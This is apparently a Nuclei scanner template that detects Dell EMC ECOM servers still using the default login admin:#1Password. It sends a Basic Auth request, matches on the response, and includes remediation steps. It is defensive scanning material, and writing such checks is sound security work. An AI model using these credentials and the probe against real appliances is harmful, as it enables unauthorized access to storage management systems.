emcecom-default-login: Dell EMC ECOM - Default Login

id: emcecom-default-login

info:
  name: Dell EMC ECOM - Default Login
  author: Techryptic (@Tech)
  severity: high
  description: Dell EMC ECOM default login information "(admin:#1Password)" was discovered.
  remediation: To resolve this issue, perform a "remsys" and "addsys" with no other operations occurring (reference the appropriate SMI-S provider documentation) and specify the new password when re-adding the array. If there are issues performing the "addsys" operation, it is recommended to restart the management server on each SP.
  reference:
    - https://www.dell.com/support/kbdoc/en-za/000171270/vipr-controller-operation-denied-by-clariion-array-you-are-not-privileged-to-perform-the-requested-operation
  classification:
    cwe-id: CWE-798
  metadata:
    max-request: 1
  tags: dell,emc,ecom,default-login,vuln

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64(username + ':' + password)}}

    payloads:
      username:
        - 'admin'
      password:
        - '#1Password'
    attack: pitchfork

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Set-Cookie: ECOMSecurity"
        part: header

      - type: word
        words:
          - "Welcome to ECOM"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100b2a99c229f86b147fff72a6cd8c8f4d9d7aa24a8cfc9fe3809038fbae2527ff6022100fa331be272736dd594582cbdf0b4cbf2ad00ddd91a96e933b112c0ec4ed0d974:922c64590222798bb761d5b6d8e72950